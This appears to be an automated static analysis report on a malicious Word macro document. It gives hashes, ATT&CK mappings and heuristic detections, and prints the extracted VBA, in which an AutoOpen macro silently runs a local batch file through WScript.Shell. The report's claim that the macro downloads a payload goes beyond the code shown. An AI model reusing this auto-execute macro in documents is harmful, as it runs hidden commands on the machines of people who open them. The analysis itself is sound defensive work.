Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cddaa73ad9f59fe3…

MALICIOUS

Office (OOXML)

17.6 KB Created: 2020-12-17 15:35:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-12-28
MD5: a899b5209ae4e2a69a63170cb4a97fa7 SHA-1: 81c7005ccd246cb07d554fcc9d116d5482ec52b4 SHA-256: cddaa73ad9f59fe3dcf83daad694272823fd60c3b80bc299f9325b2178b9e5f7
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The Autoopen macro uses CreateObject to instantiate WScript.Shell and then executes 'cmd /c C:\Users\Kosmos\Desktop\script.bat'. This indicates the document's primary purpose is to download and execute a secondary payload via a batch script.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    '
    CreateObject("Wscript.Shell").Run "cmd /c C:\Users\Kosmos\Desktop\script.bat", 0
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    '
    CreateObject("Wscript.Shell").Run "cmd /c C:\Users\Kosmos\Desktop\script.bat", 0
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    '
    CreateObject("Wscript.Shell").Run "cmd /c C:\Users\Kosmos\Desktop\script.bat", 0
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub Autoopen()
'
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 467 bytes
SHA-256: 337b1d6116f854e0035fc8d25bba206739a3659e5dfa4407c0a46ab06eca03b0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Autoopen()
'
' Autoopen Макрос
'
'
    CreateObject("Wscript.Shell").Run "cmd /c C:\Users\Kosmos\Desktop\script.bat", 0

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: b4fdce1f62a3e63715fba49585ca22370eb6707d896330fd474850dd287ef8cc

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